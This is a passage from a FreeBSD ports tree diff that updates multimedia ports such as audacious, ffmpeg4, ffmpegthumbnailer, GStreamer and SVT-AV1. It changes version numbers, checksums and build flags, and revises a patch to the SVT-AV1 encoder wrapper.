-share/audacious/Skins/Default/gtk-2.0/Tabs/gap-bottom-right.png -share/audacious/Skins/Default/gtk-2.0/Tabs/gap-left-bottom.png -share/audacious/Skins/Default/gtk-2.0/Tabs/gap-left-top.png -share/audacious/Skins/Default/gtk-2.0/Tabs/gap-right-bottom.png -share/audacious/Skins/Default/gtk-2.0/Tabs/gap-right-top.png -share/audacious/Skins/Default/gtk-2.0/Tabs/gap-top-current.png -share/audacious/Skins/Default/gtk-2.0/Tabs/gap-top-left.png -share/audacious/Skins/Default/gtk-2.0/Tabs/gap-top-right.png -share/audacious/Skins/Default/gtk-2.0/Tabs/notebook.png -share/audacious/Skins/Default/gtk-2.0/Tabs/tab-bottom-active.png -share/audacious/Skins/Default/gtk-2.0/Tabs/tab-bottom.png -share/audacious/Skins/Default/gtk-2.0/Tabs/tab-left-active.png -share/audacious/Skins/Default/gtk-2.0/Tabs/tab-left.png -share/audacious/Skins/Default/gtk-2.0/Tabs/tab-right-active.png -share/audacious/Skins/Default/gtk-2.0/Tabs/tab-right.png -share/audacious/Skins/Default/gtk-2.0/Tabs/tab-top-active.png -share/audacious/Skins/Default/gtk-2.0/Tabs/tab-top.png -share/audacious/Skins/Default/gtk-2.0/Toolbar/toolbar.png -share/audacious/Skins/Default/gtk-2.0/gtkrc -share/audacious/Skins/Default/gtk-2.0/panel.rc share/audacious/Skins/Default/main.png share/audacious/Skins/Default/monoster.png share/audacious/Skins/Default/nums_ex.png diff --git a/multimedia/audacious/Makefile b/multimedia/audacious/Makefile index ca96b2b4ca1..3412e0b140c 100644 --- a/multimedia/audacious/Makefile +++ b/multimedia/audacious/Makefile @@ -1,5 +1,5 @@ PORTNAME= audacious -PORTVERSION= 4.3 +PORTVERSION= 4.3.1 CATEGORIES= multimedia audio MASTER_SITES= https://distfiles.audacious-media-player.org/ @@ -72,10 +72,6 @@ LIBARCHIVE_USES= libarchive NLS_USES= gettext-runtime -post-patch: - @${REINPLACE_CMD} -e 's|%%LOCALBASE%%|${LOCALBASE}|' \ - ${WRKSRC}/src/libaudqt/meson.build - post-patch-NLS-off: @${REINPLACE_CMD} -e "/^subdir('po')/d" ${WRKSRC}/meson.build diff --git a/multimedia/audacious/distinfo b/multimedia/audacious/distinfo index 88c11a9e13c..ea9883f0daa 100644 --- a/multimedia/audacious/distinfo +++ b/multimedia/audacious/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1678119453 -SHA256 (audacious-4.3.tar.bz2) = 27584dc845c7e70db8c9267990945f17322a1ecc80ff8b452e9ca916a0ce9091 -SIZE (audacious-4.3.tar.bz2) = 623855 +TIMESTAMP = 1682842590 +SHA256 (audacious-4.3.1.tar.bz2) = 85e9e26841505b51e342ee72a2d05f19bef894f567a029ebb3f3e0c1adb42042 +SIZE (audacious-4.3.1.tar.bz2) = 630820 diff --git a/multimedia/audacious/files/patch-meson.build b/multimedia/audacious/files/patch-meson.build deleted file mode 100644 index ae24ada8769..00000000000 --- a/multimedia/audacious/files/patch-meson.build +++ /dev/null @@ -1,19 +0,0 @@ ---- meson.build.orig 2023-03-05 17:47:00 UTC -+++ meson.build -@@ -55,6 +55,7 @@ have_darwin = host_machine.system() == 'darwin' - - - have_darwin = host_machine.system() == 'darwin' -+have_freebsd = host_machine.system() == 'freebsd' - have_windows = host_machine.system() == 'windows' - - -@@ -120,7 +121,7 @@ if (cxx.has_header('libintl.h')) - if (cxx.has_header('libintl.h')) - add_project_arguments('-DHAVE_GETTEXT', language: ['c', 'cpp']) - -- if have_darwin or have_windows -+ if have_darwin or have_freebsd or have_windows - add_project_link_arguments('-lintl', language: ['c', 'cpp']) - endif - endif diff --git a/multimedia/dvbcut/Makefile b/multimedia/dvbcut/Makefile index 4ba66bb32c7..897f511fa0d 100644 --- a/multimedia/dvbcut/Makefile +++ b/multimedia/dvbcut/Makefile @@ -1,7 +1,7 @@ PORTNAME= dvbcut PORTVERSION= 0.7.4 DISTVERSIONPREFIX= v -PORTREVISION= 3 +PORTREVISION= 4 CATEGORIES= multimedia MAINTAINER= se@FreeBSD.org diff --git a/multimedia/dvd-slideshow/Makefile b/multimedia/dvd-slideshow/Makefile index 7f0ddc3e26b..d0cbe650da4 100644 --- a/multimedia/dvd-slideshow/Makefile +++ b/multimedia/dvd-slideshow/Makefile @@ -1,7 +1,7 @@ PORTNAME= dvd-slideshow PORTVERSION= 0.8.4 DISTVERSIONSUFFIX= -2 -PORTREVISION= 10 +PORTREVISION= 11 CATEGORIES= multimedia MASTER_SITES= SF/${PORTNAME}/${PORTNAME}/${PORTVERSION}${DISTVERSIONSUFFIX} \ SF/${PORTNAME}/${PORTNAME}-themes/${THEMEVERSION}-1:themes diff --git a/multimedia/dvdauthor/Makefile b/multimedia/dvdauthor/Makefile index 0843d0e02b2..5dcd9ffa4b7 100644 --- a/multimedia/dvdauthor/Makefile +++ b/multimedia/dvdauthor/Makefile @@ -1,6 +1,6 @@ PORTNAME= dvdauthor PORTVERSION= 0.7.2.20211105 -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= multimedia MAINTAINER= ports@FreeBSD.org diff --git a/multimedia/ffmpeg/Makefile b/multimedia/ffmpeg/Makefile index b362ceda66c..79105615e58 100644 --- a/multimedia/ffmpeg/Makefile +++ b/multimedia/ffmpeg/Makefile @@ -489,7 +489,7 @@ SVTAV1_CONFIGURE_ON= --enable-libsvtav1 # svt-hevc SVTHEVC_LIB_DEPENDS= libSvtHevcEnc.so:multimedia/svt-hevc SVTHEVC_CONFIGURE_ON= --enable-libsvthevc -SVTHEVC_PATCH_SITES= https://github.com/OpenVisualCloud/SVT-HEVC/raw/v1.5.1-12-g62d22016/ffmpeg_plugin/:svthevc +SVTHEVC_PATCH_SITES= https://github.com/OpenVisualCloud/SVT-HEVC/raw/v1.5.1-12-g6cca5b93/ffmpeg_plugin/:svthevc SVTHEVC_PATCHFILES= master-0001-lavc-svt_hevc-add-libsvt-hevc-encoder-wrapper.patch:-p1:svthevc \ 0002-doc-Add-libsvt_hevc-encoder-docs.patch:-p1:svthevc .if make(makesum) @@ -627,6 +627,8 @@ INSTALL_TARGET= install-progs install-doc install-data \ DATADIR= ${PREFIX}/share/${PORTNAME}${PKGNAMESUFFIX} DOCSDIR= ${PREFIX}/share/doc/${PORTNAME}${PKGNAMESUFFIX} MAKE_ENV+= V=1 +CFLAGS_armv6= -Wno-error=int-conversion +CFLAGS_armv7= -Wno-error=int-conversion CFLAGS_i386= -Wno-error=int-conversion LDFLAGS_aarch64=-Wl,-z,notext LDFLAGS_armv6= -Wl,-z,notext diff --git a/multimedia/ffmpeg4/Makefile b/multimedia/ffmpeg4/Makefile index 75b29b4cdad..7446dc76afb 100644 --- a/multimedia/ffmpeg4/Makefile +++ b/multimedia/ffmpeg4/Makefile @@ -1,6 +1,6 @@ PORTNAME= ffmpeg PORTVERSION= 4.4.4 -PORTREVISION= 1 +PORTREVISION= 2 CATEGORIES= multimedia audio net MASTER_SITES= https://ffmpeg.org/releases/ PKGNAMESUFFIX= 4 diff --git a/multimedia/ffmpeg4/files/patch-svtav1 b/multimedia/ffmpeg4/files/patch-svtav1 index 5d8893a959f..e6cfac9482f 100644 --- a/multimedia/ffmpeg4/files/patch-svtav1 +++ b/multimedia/ffmpeg4/files/patch-svtav1 @@ -15,6 +15,10 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/ded0334d214f https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/70887d44ffa3 https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fe100bc556d7 https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 +https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/031f1561cd28 +https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/1c6fd7d756af +https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/96748ac54f99 +https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fe196fd29a67 --- configure.orig 2021-10-24 20:47:11 UTC +++ configure @@ -108,7 +112,27 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 } SvtContext; static const struct { -@@ -151,11 +154,126 @@ static int config_enc_params(EbSvtAv1EncConfiguration +@@ -120,16 +123,12 @@ static int alloc_buffer(EbSvtAv1EncConfiguration *conf + + static int alloc_buffer(EbSvtAv1EncConfiguration *config, SvtContext *svt_enc) + { +- const int pack_mode_10bit = +- (config->encoder_bit_depth > 8) && (config->compressed_ten_bit_format == 0) ? 1 : 0; +- const size_t luma_size_8bit = +- config->source_width * config->source_height * (1 << pack_mode_10bit); +- const size_t luma_size_10bit = +- (config->encoder_bit_depth > 8 && pack_mode_10bit == 0) ? luma_size_8bit : 0; ++ const size_t luma_size = config->source_width * config->source_height * ++ (config->encoder_bit_depth > 8 ? 2 : 1); + + EbSvtIOFormat *in_data; + +- svt_enc->raw_size = (luma_size_8bit + luma_size_10bit) * 3 / 2; ++ svt_enc->raw_size = luma_size * 3 / 2; + + // allocate buffer for in and out + svt_enc->in_buf = av_mallocz(sizeof(*svt_enc->in_buf)); +@@ -151,11 +150,132 @@ static int config_enc_params(EbSvtAv1EncConfiguration { SvtContext *svt_enc = avctx->priv_data; const AVPixFmtDescriptor *desc; @@ -116,14 +140,19 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 + // Update param from options +#if FF_API_SVTAV1_OPTS -+ param->hierarchical_levels = svt_enc->hierarchical_level; -+ param->tier = svt_enc->tier; -+ param->scene_change_detection = svt_enc->scd; -+ param->tile_columns = svt_enc->tile_columns; -+ param->tile_rows = svt_enc->tile_rows; ++ if (svt_enc->hierarchical_level >= 0) ++ param->hierarchical_levels = svt_enc->hierarchical_level; ++ if (svt_enc->tier >= 0) ++ param->tier = svt_enc->tier; ++ if (svt_enc->scd >= 0) ++ param->scene_change_detection = svt_enc->scd; ++ if (svt_enc->tile_columns >= 0) ++ param->tile_columns = svt_enc->tile_columns; ++ if (svt_enc->tile_rows >= 0) ++ param->tile_rows = svt_enc->tile_rows; + + if (svt_enc->la_depth >= 0) -+ param->look_ahead_distance = svt_enc->la_depth; ++ param->look_ahead_distance = svt_enc->la_depth; +#endif + + if (svt_enc->enc_mode >= 0) @@ -140,7 +169,8 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 + param->min_qp_allowed = avctx->qmin; + } + param->max_bit_rate = avctx->rc_max_rate; -+ param->vbv_bufsize = avctx->rc_buffer_size; ++ if (avctx->bit_rate && avctx->rc_buffer_size) ++ param->maximum_buffer_size_ms = avctx->rc_buffer_size * 1000LL / avctx->bit_rate; + + if (svt_enc->crf > 0) { + param->qp = svt_enc->crf; @@ -236,7 +266,7 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 param->encoder_bit_depth = desc->comp[0].depth; if (desc->log2_chroma_w == 1 && desc->log2_chroma_h == 1) -@@ -169,12 +287,6 @@ static int config_enc_params(EbSvtAv1EncConfiguration +@@ -169,12 +289,6 @@ static int config_enc_params(EbSvtAv1EncConfiguration return AVERROR(EINVAL); } @@ -249,7 +279,7 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 if ((param->encoder_color_format == EB_YUV422 || param->encoder_bit_depth > 10) && param->profile != FF_PROFILE_AV1_PROFESSIONAL ) { av_log(avctx, AV_LOG_WARNING, "Forcing Professional profile\n"); -@@ -184,40 +296,21 @@ static int config_enc_params(EbSvtAv1EncConfiguration +@@ -184,40 +298,21 @@ static int config_enc_params(EbSvtAv1EncConfiguration param->profile = FF_PROFILE_AV1_HIGH; } @@ -263,7 +293,7 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 + avctx->bit_rate = param->rate_control_mode > 0 ? + param->target_bit_rate : 0; + avctx->rc_max_rate = param->max_bit_rate; -+ avctx->rc_buffer_size = param->vbv_bufsize; ++ avctx->rc_buffer_size = param->maximum_buffer_size_ms * avctx->bit_rate / 1000LL; - param->target_bit_rate = avctx->bit_rate; + if (avctx->bit_rate || avctx->rc_max_rate || avctx->rc_buffer_size) { @@ -301,7 +331,7 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 return 0; } -@@ -330,11 +423,8 @@ static int eb_send_frame(AVCodecContext *avctx, const +@@ -330,11 +425,8 @@ static int eb_send_frame(AVCodecContext *avctx, const if (svt_enc->eos_flag == EOS_SENT) return 0; @@ -315,7 +345,7 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 headerPtrLast.flags = EB_BUFFERFLAG_EOS; svt_av1_enc_send_picture(svt_enc->svt_handle, &headerPtrLast); -@@ -350,6 +440,16 @@ static int eb_send_frame(AVCodecContext *avctx, const +@@ -350,6 +442,16 @@ static int eb_send_frame(AVCodecContext *avctx, const headerPtr->p_app_private = NULL; headerPtr->pts = frame->pts; @@ -332,7 +362,7 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 svt_av1_enc_send_picture(svt_enc->svt_handle, headerPtr); return 0; -@@ -472,21 +572,22 @@ static const AVOption options[] = { +@@ -472,21 +574,22 @@ static const AVOption options[] = { #define OFFSET(x) offsetof(SvtContext, x) #define VE AV_OPT_FLAG_VIDEO_PARAM | AV_OPT_FLAG_ENCODING_PARAM static const AVOption options[] = { @@ -340,7 +370,7 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 - AV_OPT_TYPE_INT, { .i64 = 4 }, 3, 4, VE , "hielevel"}, +#if FF_API_SVTAV1_OPTS + { "hielevel", "Hierarchical prediction levels setting (Deprecated, use svtav1-params)", OFFSET(hierarchical_level), -+ AV_OPT_TYPE_INT, { .i64 = 4 }, 3, 4, VE | AV_OPT_FLAG_DEPRECATED , "hielevel"}, ++ AV_OPT_TYPE_INT, { .i64 = -1 }, -1, 4, VE | AV_OPT_FLAG_DEPRECATED , "hielevel"}, { "3level", NULL, 0, AV_OPT_TYPE_CONST, { .i64 = 3 }, INT_MIN, INT_MAX, VE, "hielevel" }, { "4level", NULL, 0, AV_OPT_TYPE_CONST, { .i64 = 4 }, INT_MIN, INT_MAX, VE, "hielevel" }, @@ -355,7 +385,7 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 - { "tier", "Set operating point tier", OFFSET(tier), - AV_OPT_TYPE_INT, { .i64 = 0 }, 0, 1, VE, "tier" }, + { "tier", "Set operating point tier (Deprecated, use svtav1-params)", OFFSET(tier), -+ AV_OPT_TYPE_INT, { .i64 = 0 }, 0, 1, VE | AV_OPT_FLAG_DEPRECATED, "tier" }, ++ AV_OPT_TYPE_INT, { .i64 = -1 }, -1, 1, VE | AV_OPT_FLAG_DEPRECATED, "tier" }, { "main", NULL, 0, AV_OPT_TYPE_CONST, { .i64 = 0 }, 0, 0, VE, "tier" }, { "high", NULL, 0, AV_OPT_TYPE_CONST, { .i64 = 1 }, 0, 0, VE, "tier" }, +#endif @@ -364,7 +394,7 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 FF_AV1_PROFILE_OPTS -@@ -518,21 +619,20 @@ static const AVOption options[] = { +@@ -518,21 +621,20 @@ static const AVOption options[] = { { LEVEL("7.3", 73) }, #undef LEVEL @@ -379,12 +409,12 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 + AV_OPT_TYPE_INT, { .i64 = 0 }, 0, 63, VE }, +#if FF_API_SVTAV1_OPTS + { "sc_detection", "Scene change detection (Deprecated, use svtav1-params)", OFFSET(scd), -+ AV_OPT_TYPE_BOOL, { .i64 = 0 }, 0, 1, VE | AV_OPT_FLAG_DEPRECATED }, ++ AV_OPT_TYPE_BOOL, { .i64 = -1 }, -1, 1, VE | AV_OPT_FLAG_DEPRECATED }, - { "qp", "Quantizer to use with cqp rate control mode", OFFSET(qp), - AV_OPT_TYPE_INT, { .i64 = 50 }, 0, 63, VE }, -+ { "tile_columns", "Log2 of number of tile columns to use (Deprecated, use svtav1-params)", OFFSET(tile_columns), AV_OPT_TYPE_INT, { .i64 = 0 }, 0, 4, VE | AV_OPT_FLAG_DEPRECATED }, -+ { "tile_rows", "Log2 of number of tile rows to use (Deprecated, use svtav1-params)", OFFSET(tile_rows), AV_OPT_TYPE_INT, { .i64 = 0 }, 0, 6, VE | AV_OPT_FLAG_DEPRECATED }, ++ { "tile_columns", "Log2 of number of tile columns to use (Deprecated, use svtav1-params)", OFFSET(tile_columns), AV_OPT_TYPE_INT, { .i64 = -1 }, -1, 4, VE | AV_OPT_FLAG_DEPRECATED }, ++ { "tile_rows", "Log2 of number of tile rows to use (Deprecated, use svtav1-params)", OFFSET(tile_rows), AV_OPT_TYPE_INT, { .i64 = -1 }, -1, 6, VE | AV_OPT_FLAG_DEPRECATED }, +#endif - { "sc_detection", "Scene change detection", OFFSET(scd), @@ -397,7 +427,7 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 {NULL}, }; -@@ -544,9 +644,10 @@ static const AVCodecDefault eb_enc_defaults[] = { +@@ -544,9 +646,10 @@ static const AVCodecDefault eb_enc_defaults[] = { }; static const AVCodecDefault eb_enc_defaults[] = { @@ -410,7 +440,7 @@ https://git.ffmpeg.org/gitweb/ffmpeg.git/commitdiff/fb70e0611bd7 { "qmax", "63" }, { NULL }, }; -@@ -561,12 +662,11 @@ AVCodec ff_libsvtav1_encoder = { +@@ -561,12 +664,11 @@ AVCodec ff_libsvtav1_encoder = { .receive_packet = eb_receive_packet, .close = eb_enc_close, .capabilities = AV_CODEC_CAP_DELAY | AV_CODEC_CAP_OTHER_THREADS, diff --git a/multimedia/ffmpegthumbnailer/Makefile b/multimedia/ffmpegthumbnailer/Makefile index b88cf161ccf..fb3b4a91628 100644 --- a/multimedia/ffmpegthumbnailer/Makefile +++ b/multimedia/ffmpegthumbnailer/Makefile @@ -1,5 +1,5 @@ PORTNAME= ffmpegthumbnailer -DISTVERSION= 2.2.2.a.20221021 +DISTVERSION= 2.2.2.20221021 PORTREVISION= 1 CATEGORIES= multimedia graphics #MASTER_SITES= https://github.com/dirkvdb/${PORTNAME}/releases/download/${PORTVERSION}/ diff --git a/multimedia/ffmpegthumbnailer/distinfo b/multimedia/ffmpegthumbnailer/distinfo index fe6986688b2..1fe962562a4 100644 --- a/multimedia/ffmpegthumbnailer/distinfo +++ b/multimedia/ffmpegthumbnailer/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1678817076 -SHA256 (dirkvdb-ffmpegthumbnailer-2.2.2.a.20221021-e0bf01d_GH0.tar.gz) = 56e100ef6e6a8ce18e6015b79efad6601a636b03b6bcf9abf6b6f73c501e13e7 -SIZE (dirkvdb-ffmpegthumbnailer-2.2.2.a.20221021-e0bf01d_GH0.tar.gz) = 1291600 +TIMESTAMP = 1682952444 +SHA256 (dirkvdb-ffmpegthumbnailer-2.2.2.20221021-e0bf01d_GH0.tar.gz) = 56e100ef6e6a8ce18e6015b79efad6601a636b03b6bcf9abf6b6f73c501e13e7 +SIZE (dirkvdb-ffmpegthumbnailer-2.2.2.20221021-e0bf01d_GH0.tar.gz) = 1291600 diff --git a/multimedia/gstreamer1-editing-services/Makefile b/multimedia/gstreamer1-editing-services/Makefile index bae1ae98887..3edc810435c 100644 --- a/multimedia/gstreamer1-editing-services/Makefile +++ b/multimedia/gstreamer1-editing-services/Makefile @@ -1,6 +1,5 @@ PORTNAME= gstreamer1-editing-services -PORTVERSION= 1.20.5 -PORTREVISION= 2 +PORTVERSION= ${_GST_VERSION} CATEGORIES= multimedia MASTER_SITES= https://gstreamer.freedesktop.org/src/gstreamer-editing-services/ DISTNAME= gst-editing-services-${PORTVERSION} @@ -20,7 +19,7 @@ PORTSCOUT= limitw:1,even CONFIGURE_ARGS= -Ddoc=disabled \ -Dvalidate=disabled \ -Dpygi-overrides-dir=${PYTHON_SITELIBDIR}/gstreamer-editing-services -PLIST_SUB= VERSION=1.0 SOVERSION=0.2005.0 +PLIST_SUB= VERSION=1.0 SOVERSION=0.2202.0 BINARY_ALIAS= python3=${PYTHON_VERSION} diff --git a/multimedia/gstreamer1-editing-services/distinfo b/multimedia/gstreamer1-editing-services/distinfo index 72ff2dc2cbb..83515130912 100644 --- a/multimedia/gstreamer1-editing-services/distinfo +++ b/multimedia/gstreamer1-editing-services/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1671699899 -SHA256 (gst-editing-services-1.20.5.tar.xz) = 363f2b13675877b926b4be5259dbbeea8cc976805b40c871fc254bb8f382017d -SIZE (gst-editing-services-1.20.5.tar.xz) = 985412 +TIMESTAMP = 1682345939 +SHA256 (gst-editing-services-1.22.2.tar.xz) = 453b1464fc3857de269a7cb0ebd966afe02171d97bef672a0b8a0a6d43e0cebf +SIZE (gst-editing-services-1.22.2.tar.xz) = 823656 diff --git a/multimedia/gstreamer1-libav/Makefile b/multimedia/gstreamer1-libav/Makefile index f059cd3b65f..091a468bd1d 100644 --- a/multimedia/gstreamer1-libav/Makefile +++ b/multimedia/gstreamer1-libav/Makefile @@ -1,6 +1,5 @@ PORTNAME= gstreamer1-libav -DISTVERSION= 1.22.1 -PORTREVISION= 2 +DISTVERSION= ${_GST_VERSION} CATEGORIES= multimedia MASTER_SITES= https://gstreamer.freedesktop.org/src/gst-libav/ DISTNAME= gst-libav-${DISTVERSION} diff --git a/multimedia/gstreamer1-libav/distinfo b/multimedia/gstreamer1-libav/distinfo index cc356d256b2..246efa2ef48 100644 --- a/multimedia/gstreamer1-libav/distinfo +++ b/multimedia/gstreamer1-libav/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1681584793 -SHA256 (gst-libav-1.22.1.tar.xz) = c958e825dc3ac3b7a481f8db5268131a1cd701312385c2d803dc63c8e460b5fb -SIZE (gst-libav-1.22.1.tar.xz) = 193328 +TIMESTAMP = 1682347603 +SHA256 (gst-libav-1.22.2.tar.xz) = fcaaf9878fe8f3bc82317ef13a1558824cb68df1f8968c6797f556c5e33bcffd +SIZE (gst-libav-1.22.2.tar.xz) = 195244 diff --git a/multimedia/gstreamer1-plugins-bad/files/patch-ext_zxing_gstzxing.cpp b/multimedia/gstreamer1-plugins-bad/files/patch-ext_zxing_gstzxing.cpp deleted file mode 100644 index 799de61f552..00000000000 --- a/multimedia/gstreamer1-plugins-bad/files/patch-ext_zxing_gstzxing.cpp +++ /dev/null @@ -1,20 +0,0 @@ ---- ext/zxing/gstzxing.cpp.orig 2023-01-23 19:29:34 UTC -+++ ext/zxing/gstzxing.cpp -@@ -369,7 +369,7 @@ gst_zxing_transform_frame_ip (GstVideoFilter * vfilter - if (result.isValid ()) { - GST_DEBUG_OBJECT (zxing, "Symbol found. Text: %s Format: %s", - result.text ().c_str (), -- ToString (result.format ())); -+ ToString (result.format ()).c_str()); - } else { - goto out; - } -@@ -394,7 +394,7 @@ gst_zxing_transform_frame_ip (GstVideoFilter * vfilter - "timestamp", G_TYPE_UINT64, timestamp, - "stream-time", G_TYPE_UINT64, stream_time, - "running-time", G_TYPE_UINT64, running_time, -- "type", G_TYPE_STRING, ToString (result.format ()), -+ "type", G_TYPE_STRING, ToString (result.format ()).c_str(), - "symbol", G_TYPE_STRING, - result.text ().c_str (), NULL); - diff --git a/multimedia/gstreamer1-plugins-svt-av1/Makefile b/multimedia/gstreamer1-plugins-svt-av1/Makefile index d57d15dfa09..b9b8c597d69 100644 --- a/multimedia/gstreamer1-plugins-svt-av1/Makefile +++ b/multimedia/gstreamer1-plugins-svt-av1/Makefile @@ -1,6 +1,6 @@ PORTNAME= svt-av1 DISTVERSIONPREFIX= v -DISTVERSION= 1.4.1 +DISTVERSION= 1.5.0 CATEGORIES= multimedia PKGNAMEPREFIX= gstreamer1-plugins- @@ -18,7 +18,7 @@ USE_GITLAB= yes USE_GNOME= glib20 GL_ACCOUNT= AOMediaCodec GL_PROJECT= SVT-AV1 -GL_COMMIT= 018276d714ce65d9b586f6205ee016cbd8d5425d +GL_COMMIT= ea296ef350714fb6f105b420fb0bc321d9997ffd WRKSRC_SUBDIR= gstreamer-plugin PLIST_FILES= lib/gstreamer-1.0/libgstsvtav1enc.so diff --git a/multimedia/gstreamer1-plugins-svt-av1/distinfo b/multimedia/gstreamer1-plugins-svt-av1/distinfo index 7d290bbf1b0..a4994bb9bf8 100644 --- a/multimedia/gstreamer1-plugins-svt-av1/distinfo +++ b/multimedia/gstreamer1-plugins-svt-av1/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1671019163 -SHA256 (AOMediaCodec-SVT-AV1-018276d714ce65d9b586f6205ee016cbd8d5425d_GL0.tar.gz) = ec24cd4ca19a8748dae7683407fc7ca605caa277bbd81c76cf39b8707af53a5e -SIZE (AOMediaCodec-SVT-AV1-018276d714ce65d9b586f6205ee016cbd8d5425d_GL0.tar.gz) = 10112882 +TIMESTAMP = 1682547116 +SHA256 (AOMediaCodec-SVT-AV1-ea296ef350714fb6f105b420fb0bc321d9997ffd_GL0.tar.gz) = 4797196205b247e99f739351229a25c3cb5c76f200ab14a25155726b06323ce9 +SIZE (AOMediaCodec-SVT-AV1-ea296ef350714fb6f105b420fb0bc321d9997ffd_GL0.tar.gz) = 10159331 diff --git a/multimedia/gstreamer1-plugins/Makefile b/multimedia/gstreamer1-plugins/Makefile index 1a5569c7295..4f1bca6640e 100644 --- a/multimedia/gstreamer1-plugins/Makefile +++ b/multimedia/gstreamer1-plugins/Makefile @@ -23,16 +23,16 @@ RUN_DEPENDS+= iso-codes>=0:misc/iso-codes PORTSCOUT= limitw:1,even -BASE_PORTVERSION= 1.22.0 +BASE_PORTVERSION= ${_GST_VERSION} BASE_DISTNAME= gst-plugins-base-${BASE_PORTVERSION} BASE_DISTFILE= ${BASE_DISTNAME}${EXTRACT_SUFX} -BAD_PORTVERSION= 1.22.0 +BAD_PORTVERSION= ${_GST_VERSION} BAD_DISTNAME= gst-plugins-bad-${BAD_PORTVERSION} BAD_DISTFILE= ${BAD_DISTNAME}${EXTRACT_SUFX} -GOOD_PORTVERSION= 1.22.0 +GOOD_PORTVERSION= ${_GST_VERSION} GOOD_DISTNAME= gst-plugins-good-${GOOD_PORTVERSION} GOOD_DISTFILE= ${GOOD_DISTNAME}${EXTRACT_SUFX} -UGLY_PORTVERSION= 1.22.0 +UGLY_PORTVERSION= ${_GST_VERSION} UGLY_DISTNAME= gst-plugins-ugly-${UGLY_PORTVERSION} UGLY_DISTFILE= ${UGLY_DISTNAME}${EXTRACT_SUFX} DIST?= base @@ -58,7 +58,7 @@ IGNORE= DIST not specified .endif VERSION= 1.0 -SOVERSION= 0.2200.0 +SOVERSION= 0.2202.0 PLIST_SUB+= VERSION="${VERSION}" \ SOVERSION="${SOVERSION}" diff --git a/multimedia/gstreamer1-plugins/distinfo b/multimedia/gstreamer1-plugins/distinfo index 031aee7f5b8..60b7e9e6eb5 100644 --- a/multimedia/gstreamer1-plugins/distinfo +++ b/multimedia/gstreamer1-plugins/distinfo @@ -1,9 +1,9 @@ -TIMESTAMP = 1677562474 -SHA256 (gst-plugins-base-1.22.0.tar.xz) = f53672294f3985d56355c8b1df8f6b49c8c8721106563e19f53be3507ff2229d -SIZE (gst-plugins-base-1.22.0.tar.xz) = 2341248 -SHA256 (gst-plugins-bad-1.22.0.tar.xz) = 3c9d9300f5f4fb3e3d36009379d1fb6d9ecd79c1a135df742b8a68417dd663a1 -SIZE (gst-plugins-bad-1.22.0.tar.xz) = 5500728 -SHA256 (gst-plugins-ugly-1.22.0.tar.xz) = a644dc981afa2d8d3a913f763ab9523c0620ee4e65a7ec73c7721c29da3c5a0c -SIZE (gst-plugins-ugly-1.22.0.tar.xz) = 240104 -SHA256 (gst-plugins-good-1.22.0.tar.xz) = 582e617271e7f314d1a2211e3e3856ae2e4303c8c0d6114e9c4a5ea5719294b0 -SIZE (gst-plugins-good-1.22.0.tar.xz) = 2795268 +TIMESTAMP = 1682254493 +SHA256 (gst-plugins-base-1.22.2.tar.xz) = eb65120c4ee79b7a153c3c1972d5c0158c2151877cc51ec7725bba5749679d49 +SIZE (gst-plugins-base-1.22.2.tar.xz) = 2350476 +SHA256 (gst-plugins-bad-1.22.2.tar.xz) = 3d8faf1ce3402c8535ce3a8c4e1a6c960e4b5655dbda6b55943db9ac79022d0f +SIZE (gst-plugins-bad-1.22.2.tar.xz) = 5516864 +SHA256 (gst-plugins-ugly-1.22.2.tar.xz) = 8f30f44db0bd063709bf6fbe55138e3a98af0abcb61c360f35582bbe10e80691 +SIZE (gst-plugins-ugly-1.22.2.tar.xz) = 244676 +SHA256 (gst-plugins-good-1.22.2.tar.xz) = 7c8cc59425f2b232f60ca7d13e56edd615da4f711e73dd01a7cffa46e6bc0cdd +SIZE (gst-plugins-good-1.22.2.tar.xz) = 2806216 diff --git a/multimedia/gstreamer1/Makefile b/multimedia/gstreamer1/Makefile index 5cce06e9327..17ec934c41e 100644 --- a/multimedia/gstreamer1/Makefile +++ b/multimedia/gstreamer1/Makefile @@ -1,6 +1,5 @@ PORTNAME= gstreamer -PORTVERSION= 1.22.0 -PORTREVISION= 1 +PORTVERSION= 1.22.2 CATEGORIES= multimedia MASTER_SITES= https://gstreamer.freedesktop.org/src/gstreamer/ PKGNAMESUFFIX= 1 @@ -23,7 +22,7 @@ CONFIGURE_ARGS= -D tests=disabled \ -D dbghelp=disabled \ -D doc=disabled PLIST_SUB= VERSION=${GST10_VERSION} \ - SOVERSION=0.2200.0 + SOVERSION=0.2202.0 USE_LDCONFIG= yes GST10_VERSION= 1.0 